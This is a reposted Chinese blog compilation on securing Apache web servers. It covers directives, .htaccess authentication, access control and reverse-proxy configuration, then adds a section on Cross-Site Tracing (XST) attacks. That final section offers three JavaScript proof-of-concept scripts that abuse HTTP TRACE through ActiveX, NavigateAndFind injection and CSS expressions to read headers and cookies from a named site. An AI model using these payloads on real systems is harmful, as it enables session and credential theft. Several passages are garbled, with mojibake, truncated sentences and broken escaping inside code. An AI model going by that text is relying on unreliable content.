天天看點

保護Apache的安全

原貼:http://blog.chinaunix.net/u/13329/showart.php?id=84744

保護Apache的安全

保護Apache的安全
保護Apache的安全

1. FollowSymLinks

該指令被預設啟用,在建立到網際網路伺服器的文檔根的符号連結時請小心。例如,提供一個到 / 的符号連結就不是個好主意。

2. Indexes 指令

該指令被預設啟用,但它可能不應該被啟用。要阻止通路者浏覽伺服器上的檔案,你可以删除該指令。

3. UserDir 指令

UserDir 指令被預設禁用,因為它可以确認某個使用者帳号在系統上是否存在。要啟用伺服器上的使用者目錄浏覽,請使用以下指令:

UserDir enabled

UserDir disabled root

這些指令為除了 /root/ 以外的所有使用者目錄激活浏覽。要把使用者添加到禁用帳号清單中,在 UserDir disabled 行中添加一個用空格隔開的使用者清單。

4. 不要删除 IncludesNoExec 指令

按照預設設定,伺服器端包括(server-side includes)子產品不能執行指令。除非在極端必要的情況下,建議你不要改變這個設定,因為它有可能會使攻擊者能夠在系統上執行指令。

5. 限制對可執行目錄的權限

對于任何包含腳本或 CGI 的目錄,請确定隻給根使用者以寫權限。這可以通過鍵入以下指令來達到:

chown root <directory_name>

chmod 755 <directory_name>

==================================================================

文摘内容:

--------------------------------------------------------------------------------

Author:Phoenix

Homepage:http://www.safechina.net/

E-mail:[email protected]

前 言:在目前的Internet時代,首頁已成為樹立公司形象和展示自我天地的一個重要手段,配置一台強大且安全的Web Server就顯得尤其重要。在衆多的Web Server産品中,Apache是應用最為廣泛的一個産品,同時也是一個設計上非常安全的程式。但是,同其它應用程式一樣,Apache也存在安全缺 陷。本文将詳細介紹如何正确配置和維護Apache WEB Server的安全性問題等。

一,Apache伺服器的介紹

  Apache 伺服器它是Internet網上應用最為廣泛的Web伺服器軟體之一。Apache伺服器源自美國國家超級技術計算應用中心(NCSA)的Web伺服器項 目中。目前已在網際網路中占據了上司地位。Apache伺服器得經過精心配置之後,才能使它适應高負荷,大吞吐量的網際網路工作。快速、可靠、通過簡單的 API擴充,Perl/Python解釋器可被編譯到伺服器中,且完全免費,完全源代碼開放。如果你需要建立一個每天有數百萬人通路的 Web伺服器,Apache可能是最佳選擇。

二,Apache伺服器的主要安全缺陷

  正如我們前言所說盡管 Apache伺服器應用最為廣泛,設計上非常安全的程式。但是同其它應用程式一樣,Apache也存在安全缺陷。畢竟它是完全源代碼,Apache伺服器 的安全缺陷主要是使用HTTP協定進行的拒絕服務攻擊(denial of service)、緩沖區溢出攻擊以及被攻擊者獲得root權限三缺陷和最新的惡意的攻擊者進行“拒絕服務”(DoS)攻擊。合理的網絡配置能夠保護 Apache伺服器免遭多種攻擊。我們來介紹一下主要的安全缺陷:

(1)使用HTTP協定進行的拒絕服務攻擊(denial of service)的安全缺陷

這種方法攻擊者會通過某些手段使伺服器拒絕對HTTP應答。這樣會使Apache對系統資源(CPU時間和記憶體)需求的劇增,最終造成Apache系統變慢甚至完全癱瘓。

(2)緩沖區溢出的安全缺陷

該方法攻擊者利用程式編寫的一些缺陷,使程式偏離正常的流程。程式使用靜态配置設定的記憶體儲存請求資料,攻擊者就可以發送一個超長請求使緩沖區溢出。比如一些Perl編寫的處理使用者請求的網關腳本。一旦緩沖區溢出,攻擊者可以執行其惡意指令或者使系統當機。

(3)被攻擊者獲得root權限的安全缺陷

該安全缺陷主要是因為Apache伺服器一般以root權限運作(父程序),攻擊者會通過它獲得root權限,進而控制整個Apache系統。

(4)惡意的攻擊者進行“拒絕服務”(DoS)攻擊的安全缺陷

這 個最新在6月17日發現的漏洞,它主要是存在于Apache的chunk encoding中,這是一個HTTP協定定義的用于接受web使用者所送出資料的功能。 利用黑客程式可以對于運作在FreeBSD 4.5, OpenBSD 3.0 / 3.1, NetBSD 1.5.2平台上的Apache伺服器均可進行有效的攻擊.

所有說使用最高和最新安全版本對于加強Apache Web伺服器的安全是至關重要的。請廣大Apache伺服器管理者去http://www.apache.org/dist/httpd/下...WEB伺服器安全!

三, 正确維護和配置Apache伺服器

  雖然Apache伺服器的開發者非常注重安全性,由于Apache伺服器其龐大的項目,難免會存在安全隐患。正确維護和配置Apache WEB伺服器就很重要了。我們應注意的一些問題:

(1)Apache伺服器配置檔案

  Apache Web伺服器主要有三個配置檔案,位于/usr/local/apache/conf目錄下。這三個檔案是:

httpd.con----->主配置檔案

srm.conf------>填加資源檔案

access.conf--->設定檔案的通路權限

注:具體配置可以參考:http://httpd.apache.org/docs/mod/core.html

(2)Apache伺服器的日志檔案

   我們可以使用日志格式指令來控制日志檔案的資訊。使用LogFormat "%a %l"指令,可以把發出HTTP請求浏覽器的IP位址和主機名記錄到日志檔案。出于安全的考慮,在日志中我們應知道至少應該那些驗證失敗的WEB使用者,在 http.conf檔案中加入LogFormat "%401u"指令可以實作這個目的。這個指令還有其它的許多參數,使用者可以參考Apache的文檔。另外,Apache的錯誤日志檔案對于系統管理者來 說也是非常重要的,錯誤日志檔案中包括伺服器的啟動、停止以及CGI執行失敗等資訊。更多請參看Apache日志系列1-5。

(3)Apache伺服器的目錄安全認證

  在Apache Server中是允許使用 .htaccess做目錄安全保護的,欲讀取這保護的目錄需要先鍵入正确使用者帳号與密碼。這樣可做為專門管理網頁存放的目錄或做為會員區等。   

在保護的目錄放置一個檔案,檔名為.htaccss     

AuthName "會員專區"   

AuthType "Basic"   

AuthUserFile "/var/tmp/xxx.pw" ----->把password放在網站外   

require valid-user   

到apache/bin目錄,建password檔

% ./htpasswd -c /var/tmp/xxx.pw username1    ----->第一次建檔要用參數"-c"   

% ./htpasswd /var/tmp/xxx.pw username2   

這樣就可以保護目錄内的内容,進入要用合法的使用者.

注:采用了Apache内附的模組。也可以采用在httpd.conf中加入: 

options indexes followsymlinks 

allowoverride authconfig 

order allow,deny 

allow from all 

(4)Apache伺服器通路控制

  我們就要看三個配置檔案中的第三個檔案了,即access.conf檔案,它包含一些指令控制允許什麼使用者通路Apache目錄。應該把deny from all設為初始化指令,再使用allow from指令打開通路權限。

<directory /usr/local/http/docs/private>

<limit>

order deny,allow

deny from all

allow from safechina.net

</limit>

</directory>

設定允許來自某個域、IP位址或者IP段的通路。

(5)Apache伺服器的密碼保護問題

  我們再使用.htaccess檔案把某個目錄的通路權限賦予某個使用者。系統管理者需要在httpd.conf或者srm.conf檔案中使用AccessFileName指令打開目錄的通路控制。如:

AuthName PrivateFiles

AuthType Basic

AuthUserFile /path/to/httpd/users

require Phoenix

# htpasswd -c /path/to/httpd/users Phoenix

四,設定Apache伺服器的WEB和檔案伺服器

  我們在Apache伺服器上存放WEB伺服器的檔案,供使用者通路,并設定/home/ftp/pub目錄為檔案存放區域,用http://download.your.com/pub/來通路。在防火牆上設定apache反向代理技術,由防火牆代理通路。 

 

(1)Apache伺服器的設定 

  apache伺服器采用預設配置。主目錄為/home/httpd/html,主機域名為Phoenix.your.com,且别名到http://www.your.com/中, 并且設定sr...鹈ㄒ迦缦攏骸?

Alias /pub /home/ftp/pub/ 

更改預設應用程式類型定義如下: 

DefaultType application/octet-stream 

最後在/etc/httpd/conf/access.conf中增加一項定義 

Options Indexes 

AllowOverride AuthConfig 

order allow,deny 

allow from all 

注: Options Indexes允許在找不到index.html檔案的情況下允許列出目錄/檔案清單。AllowOverride  AuthConfig允許做基本的使用者名和密碼驗證。這樣的話,需要在/home/ftp/pub目錄下放入.htaccess,内容如下: 

[[email protected] pub]# more .htaccess 

AuthName Branch Office Public Software Download Area 

AuthType Basic 

AuthUserFile /etc/.usrpasswd 

require valid-user 

用# htpasswd -c /etc/.usrpasswd user1  分别建立不同的允許通路/pub下檔案服務的外部使用者名和密碼。 

(2)在防火牆上配置反向代理技術. 

  在/etc/httpd/conf/httpd.conf  中加入 NameVirtualHost xxx.xxx.xxx.xxx 

# xxx.xxx.xxx.xxx     ----->是防火牆外部在網際網路上永久IP位址 

servername http://www.your.com/ 

errorlog /var/log/httpd/error_log 

transferlog /var/log/httpd/access_log 

rewriteengine on 

proxyrequests off 

usecanonicalname off 

rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 Apache伺服器的IP位址。

servername http://download.your.com/pub/

errorlog /var/log/httpd/download/error_log 

transferlog /var/log/httpd/download/access_log 

rewriteengine on 

proxyrequests off 

usecanonicalname off 

rewriterule ^/(.*)$ http://xxx.xxx.xx.x/$1 同上Apache伺服器的IP位址。

  設定防火牆上的DNS,讓download.your.com和http://www.your.com/都指向防火牆的外部網位址xxx.xxx.xxx.xxx。用http://www.your.com/通路首頁,用htt...參募南略厍?

注:還需要在apache伺服器主機上建立目錄/var/log/httpd/download/,否則會出錯。另外,也可以設定防火牆主機上的/home/httpd/html/index.html的屬性為750來阻止通路,這是防外部使用者能通路到防火牆上的Apache伺服器的http://www.your.com/中。 

總結:Apache Server是一個非常優秀,非常棒的伺服器,隻要你正确配置和維護好Apache伺服器,你就會感受到Apache Server 所帶來的好處,同樣希望你能夠通過閱讀本文達到理論和實踐雙豐收的目的。謝謝。

===========================================================

5.5. 保護 Apache HTTP 伺服器的安全

Apache HTTP 伺服器是紅帽企業 Linux 包括的最穩定和最安全的服務之一。保護 Apache HTTP 伺服器安全的方法和技術多得數不勝數 — 在這裡我們無法逐一詳述。

在配置 Apache HTTP 伺服器時閱讀它的文檔是很重要的。這些文檔包括: 《紅帽企業 Linux 參考指南》的“ Apache HTTP 伺服器”這一章; 《紅帽企業 Linux 系統管理指南》的“ Apache HTTP 伺服器 配置”這一章;以及在 http://www.redhat.com/docs/manuals/stronghold/ 上的原有手冊。

以下是管理者應該小心使用的配置選項清單。

·修改/etc/httpd/conf.d/welcome.conf,并注釋掉所有預設内容

[[email protected] conf.d]# cat  welcome.conf

#

# This configuration file enables the default "Welcome"

# page if there is no default index page present for

# the root URL.  To disable the Welcome page, comment

# out all the lines below.

#

#<LocationMatch "^/+$">

#    Options -Indexes

#    ErrorDocument 403   /error/noindex.html

#</LocationMatch>

·FollowSymLinks

該指令被預設啟用,在建立到網際網路伺服器的文檔根的符号連結時請小心。例如,提供一個到 / 的符号連結就不是個好主意。

· Indexes 指令

該指令被預設啟用,但它可能不應該被啟用。要阻止通路者浏覽伺服器上的檔案,你可以删除該指令。

·UserDir 指令

UserDir 指令被預設禁用,因為它可以确認某個使用者帳号在系統上是否存在。

要啟用伺服器上的使用者目錄浏覽,請使用以下指令:

UserDir enabled UserDir disabled root這些指令為除了 /root/ 以外的所有使用者目錄激活浏覽。

要把使用者添加到禁用帳号清單中,在 UserDir disabled 行中添加一個用空格隔開的使用者清單。

·不要删除 IncludesNoExec 指令

按照預設設定,伺服器端包括(server-side includes)子產品不能執行指令。除非在極端必要的情況下,建議你不要改變這個設定,因為它有可能會使攻擊者能夠在系統上執行指令。

· 限制對可執行目錄的權限

對于任何包含腳本或 CGI 的目錄,請确定隻給根使用者以寫權限。這可以通過鍵入以下指令來達到:

chown root <directory_name>

chmod 755 <directory_name>

還有,總是在把腳本放入生産環境 之前校驗它們在系統上的運作情況符合你的設想。

·報錯提示文檔

<Directory "/var/www/html">

    Options  FollowSymLinks   #去掉了Options Index FollowSymLinks中的 Index

    ErrorDocument 400 "BAD_REQUEST"

    ErrorDocument 401 "UNAUTHORIZED"

    ErrorDocument 403 "FORBIDDEN"

    ErrorDocument 404 "NOT_FOUND"

    ErrorDocument 405 "METHOD_NOT_ALLOWED"

    ErrorDocument 408 "REQUEST_TIME_OUT"

    ErrorDocument 410 "GONE"

    ErrorDocument 411 "LENGTH_REQUIRED"

    ErrorDocument 412 "PRECONDITION_FAILED"

    ErrorDocument 413 "REQUEST_ENTITY_TOO_LARGE"

    ErrorDocument 414 "REQUEST_URI_TOO_LARGE"

    ErrorDocument 415 "UNSUPPORTED_MEDIA_TYPE"

    ErrorDocument 500 "INTERNAL_SERVER_ERROR"

    ErrorDocument 501 "NOT_IMPLEMENTED"

    ErrorDocument 502 "BAD_GATEWAY"

    ErrorDocument 503 "SERVICE_UNAVAILABLE"

    ErrorDocument 506 "VARIANT_ALSO_VARIES"

</Directory>

    ================================================================= 跨域漏洞 出處: 黑客防線

  XST攻擊描述:

  攻擊者将惡意代碼嵌入一台已經被控制的主機上的web檔案,當通路者浏覽時惡意代碼在浏覽器中執行,然後通路者的cookie、http基本驗 證以及ntlm驗證資訊将被發送到已經被控制的主機,同時傳送Trace請求給目标主機,導緻cookie欺騙或者是中間人攻擊。

  XST攻擊條件:

  1、需要目标web伺服器允許Trace參數;

  2、需要一個用來插入XST代碼的地方;

  3、目标站點存在跨域漏洞。

  XST與XSS的比較:

  相同點:都具有很大的欺騙性,可以對受害主機産生危害,而且這種攻擊是多平台多技術的,我們還可以利用Active控件、Flash、Java等來進行XST和XSS攻擊。

  優點:可以繞過一般的http驗證以及NTLM驗證

  如何利用:

手法1:

<SCRIPT type=text/java script>

<!--

function xssTRACE(){

var xmlHttp=new ActiveXObject(/"Microsoft&#46;XMLHTTP/");

xmlHttp&#46;open(/"TRACE/",/"[url]http://wmjie&#46;51&#46;net/swords/[/url]/",false);

xmlHttp&#46;send();

xmlDoc=xmlHttp&#46;responseText;

alert(xmlDoc);

}

//-->

</SCRIPT>

<BR><INPUT οnclick=xssTRACE(); type=button value=/"XSS TRACE/">

手法2:

<SCRIPT type=text/java script>

<!--

function xssTRACE() {

var openWin=open(/"blank&#46;htm/",/"swords/",/"width=500,height=400/");

var otraceswords=openWin&#46;external;

openWin&#46;location&#46;href=/"[url]http://wmjie&#46;51&#46;net/swords/[/url]/";

setTimeout(

function () {

//以下必須寫在一行

otraceswords&#46;NavigateAndFind('java script:xmlHttp=new ActiveXObject(/"Microsoft&#46;XMLHTTP/");xmlHttp&#46;open(/"TRACE /",/"[url]http://wmjie&#46;51&#46;net/swords/[/url]/",false);xmlHttp& #46;send();xmlDoc=xmlHttp&#46;responseText;alert(/"不用document& #46;cookie 顯示站點wmjie&#46;51&#46;net/swords/ 的頭資訊。//n/" + xmlDoc);',/"/",/"/");

},

1024

);

}

//-->

</SCRIPT>

<BR><INPUT οnclick=xssTRACE(); type=button value=/"XSS TRACE/">

手法3:

<SCRIPT type=text/java script>

function xssTRACE(){

var swords = /"var xmlHttp = new ActiveXObject(//"Microsoft.XMLHTTP//")/;xmlHttp.open(//"TRACE//",//"[url]http://http://www.tingh.com/[/url]//",false)/;xmlHttp.send()/;xmlDoc=xmlHttp.responseText/;alert(xmlDoc)/;/";

var target = /"[url]http://wmjie.51.net/swords/[/url]/";

spinach = encodeURIComponent(swords + ';top.close()');

var readyCode = 'font-size:expression(execScript(decodeURIComponent(/"' + spinach + '/")))';

showModalDialog(target, null, readyCode);

}

</SCRIPT>

<BR><INPUT οnclick=xssTRACE() type=button value=/"XSS TRACE/">

保護Apache的安全
  後記:研究階段,希望能抛磚引玉,期望和您能夠交流心得體會。
建立于: 2006-03-13 19:47:11,修改于: 2006-04-13 15:05:29,已浏覽152次,有評論0條